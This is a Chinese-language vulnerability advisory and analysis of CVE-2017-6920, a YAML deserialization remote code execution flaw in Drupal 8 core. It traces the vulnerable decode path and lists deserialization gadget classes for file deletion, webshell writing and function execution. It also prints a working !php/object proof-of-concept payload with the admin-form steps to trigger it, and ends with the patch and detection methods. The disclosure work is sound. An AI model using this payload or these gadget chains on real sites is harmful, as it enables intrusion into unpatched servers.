作者: 启明星辰ADLab

0x01 漏洞描述

2017年6月21日,Drupal官方发布了一个编号为CVE-2017- 6920 的漏洞,影响为Critical。这是Drupal Core的YAML解析器处理不当所导致的一个远程代码执行漏洞,影响8.x的Drupal Core。

0x02 漏洞分析

通过diff 8.3.3与8.3.4的文件可以发现漏洞的触发点,如下图:

可以看到,8.3.4 decode函数的开始处增加了如下的代码:

static $init;  
if (!isset($init))  
{ // We never want to unserialize !php/object. 
ini_set('yaml.decode_php', 0);  
$init = TRUE; 
} 

漏洞所在函数decode的触发点代码如下:

$data = yaml_parse($raw, 0, $ndocs, [ 
YAML_BOOL_TAG => '\Drupal\Component\Serialization\YamlPecl::applyBooleanCallbacks', ]);  

decode函数的参数$raw被直接带入了yamlparse函数中,官方文档对于yamlparse函数的描述如下:

yamlparse  
(PECL yaml >= 0.4.0) yaml_parse — Parse a YAML stream
Description  
mixed yaml_parse ( string $input [, int $pos = 0 [, int &$ndocs [, array $callbacks = null ]]] ) Convert all or part of a YAML document stream to a PHP variable.  
Parameters  
input The string to parse as a YAML document stream.  
pos Document to extract from stream (-1 for all documents, 0 for first document, ...).  
ndocs If ndocs is provided, then it is filled with the number of documents found in stream.  
callbacks Content handlers for YAML nodes. Associative array of YAML tag => callable mappings. See parse callbacks for more details.  
Return Values  
Returns the value encoded in input in appropriate PHP type or FALSE on failure. If pos is -1 an array will be returned with one entry for each document found in the stream.  

第一个参数是需要parse成yaml的文档流。从上文来看,只有yaml_parse的第一个参数是外部可控的。官方对这个函数有一个特别的说明,也就是该漏洞的触发原理:

 Notes 
Warning Processing untrusted user input with yamlparse() is dangerous if the use of unserialize() is enabled for nodes using the !php/object tag. This behavior can be disabled by using the yaml.decodephp ini setting.  

即可以通过!php/object来声明一个节点,然后用这个!php/object声明的节点内容会以unserialize的方式进行处理;如果要禁止这样做,就通过设置yaml.decode_php来处理,这就是官方补丁在decode函数前面加的那几行代码。因此,这个远程代码执行漏洞的罪魁祸首就是yaml_parse函数可能会用反序列化的形式来处理输入的字符串,从而导致通过反序列化类的方式来操作一些危险类,最终实现代码执行。 显然,控制decode函数的参数即可触发该漏洞。先定位decode函数的调用位置,在/core/lib/Drupal/Component/Serialization/Yaml.php中第33行发现:

 public static function decode($raw) {
$serializer = static::getSerializer(); 
return $serializer::decode($raw);  
}

该函数调用了getSerializer函数,跟踪该函数在/core/lib/Drupal/Component/ Serialization/Yaml.php中第48行发现:

protected static function getSerializer() {  
if (!isset(static::$serializer)) {  
  // Use the PECL YAML extension if it is available. It has better
  // performance for file reads and is YAML compliant.
  if (extension_loaded('yaml')) {
    static::$serializer = YamlPecl::class;
  }
  else {
    // Otherwise, fallback to the Symfony implementation.
    static::$serializer = YamlSymfony::class;
  }
}
return static::$serializer;  
} 

如果存在yaml扩展,$serializer就使用YamlPecl类,然后调用YamlPecl这个类中的decode函数;如果不存在yaml扩展,就用YamlSymfony类中的decode函数。显然,一定要迫使代码利用YamlPecl类中的decode函数,这需要引入yaml扩展,Linux平台的步骤如下:

(1)编译yaml

http://pecl.php.net/package/yaml下载tgz源码包,然后执行tar -zxvf yaml-1.3.0.tgz cd yaml-1.3.0 phpize ./configure make make install,执行完返回一个文件夹名字,这就是生成的扩展所在目录。

(2)引用扩展

修改php.ini中的extension_dir为该扩展所在目录,然后加上 extension=yaml.so 就可以了。

windows平台步骤更简单,在http://pecl.php.net/package/yaml中下载对应的dll文件,然后将php_yaml.dll放入php扩展文件夹下,然后修改php.ini,将extensiondirphpyaml.dll所存放的目录,然后加上 extension=php_yaml.dll

最后重启apache,看到phpinfo中有yaml扩展,就说明安装成功,如图:

现在yaml扩展已经准备好,最后定位外部可控的输入点。上文中YamlPecl::decode是在Yaml::decode函数中调用的,继续回溯全文调用Yaml::decode函数的地方,发现外部可控的地方只有一处, 在/core/modules/config/src/Form/ConfigSingleImportForm.php中第280行:

public function validateForm(array &$form, FormStateInterface $form_state) { // The confirmation step needs no additional validation. if ($this->data) { return; }  
try {  
  // Decode the submitted import.
  $data = Yaml::decode($form_state->getValue('import'));
}
catch (InvalidDataTypeException $e) {  
  $form_state->setErrorByName('import', $this->t('The import failed with the following message: %message', ['%message' => $e->getMessage()]));
}

这里对外部输入的import值进行Ymal::decode操作,因此这里就是漏洞的数据触发点。

要利用该漏洞进行远程代码执行,需要一个可以利用的类。Drupal使用命名空间的方式来管理类,可以全局实例化一个类,也可以反序列化一个类;该漏洞利用了反序列,因此需要找一个反序列类。通过_destruct以及_wakeup来定位类,全局搜索可以找到几个可利用的类。

(1)/vendor/symfony/process/Pipes/WindowsPipes.php中的89行:

public function __destruct()  
 { 
$this->close(); $this->removeFiles(); 
}
 private function removeFiles() 
{ 
foreach ($this->files as $filename)  
{ if (file_exists($filename)) { @unlink($filename); } } 
$this->files = array();
}

通过反序列化这个类可以造成一个任意文件删除。

(2)/vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php中第37行:

public function __destruct() { $this->save($this->filename); }  
/**
Saves the cookies to a file. *  
@param string $filename File to save
@throws \RuntimeException if the file cannot be found or created */ 
public function save($filename) {  
$json = []; 
foreach ($this as $cookie) { /* @var SetCookie $cookie */  
if (CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) {  
$json[] = $cookie->toArray(); 
} 
}
$jsonStr = \GuzzleHttp\jsonencode($json); 
if (false === fileput_contents($filename, $jsonStr))  
{ throw new \RuntimeException("Unable to save file {$filename}"); } 
} 

通过反序列化这个类可以造成写入webshell。

(3)/vendor/guzzlehttp/psr7/src/FnStream.php中第48行:

public function __destruct() {  
if (isset($this->_fn_close)) { call_user_func($this->_fn_close); }  
} 

通过反序列化这个类可以造成任意无参数函数执行。

0x03 漏洞验证

启明星辰 ADLab 通过对本漏洞的深度分析,构造了任意无参数函数的POC并测试验证成功,具体验证情况如下:

第一步:序列化一个GuzzleHttp\Psr7\FnStream类, 因为序列化后的字符串可能带有不可显示字符,所以采用把结果写入到文件的方式,序列化后的字符串如图:

第二步:给该序列化字符串加上yaml的!php/object tag(注意一定要转义),最后得到的字符串如下:

!php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\0GuzzleHttp\\Psr7\\FnStream\0methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}"

第三步:登录一个管理员账号,访问如下url: http://localhost/drupal833/admin/config/development/configuration/single/import,然后我们进行如图所示的操作:

然后点击import按钮,就会执行phpinfo函数。

0x04 漏洞修复

最新发布的Drupal 8.3.4 已经修复了该漏洞,针对低于8.3.4的版本也可以通过升级Drupal文件/core/lib/Drupal/Component/Serialization/YamlPecl.php中的decode函数进行防御(添加如下红色代码即可):

  public static function decode($raw) {
    static $init;
    if (!isset($init)) {
      // We never want to unserialize !php/object.
      ini_set('yaml.decode_php', 0);
      $init = TRUE;
    }
    // yaml_parse() will error with an empty value.
    if (!trim($raw)) {
      return NULL;
    }
......
}

0x05 漏洞检测

针对该漏洞,可采用两种方法进行检测:

方法一:登陆Drupal管理后台,查看内核版本是8.x,且版本号低于8.3.4,则存在该漏洞;否则,不存在该漏洞;

方法二:在Drupal根目录下找到文件/core/lib/Drupal/Component/Serialization/ YamlPecl.php,定位到函数public static function decode($raw),如果该函数代码不包含" ini_set('yaml.decode_php', 0);"调用,则存在该漏洞;否则,不存在该漏洞。

相关链接: https://www.drupal.org/SA-CORE-2017-003


启明星辰积极防御实验室(ADLab)

ADLab成立于1999年,是中国安全行业最早成立的攻防技术研究实验室之一,微软MAPP计划核心成员。截止目前,ADLab通过CVE发布Windows、Linux、Unix等操作系统安全或软件漏洞近300个,持续保持亚洲领先并确立了其在国际网络安全领域的核心地位。实验室研究方向涵盖操作系统与应用系统安全研究、移动智能终端安全研究、物联网智能设备安全研究、Web安全研究、工控系统安全研究、云安全研究。研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。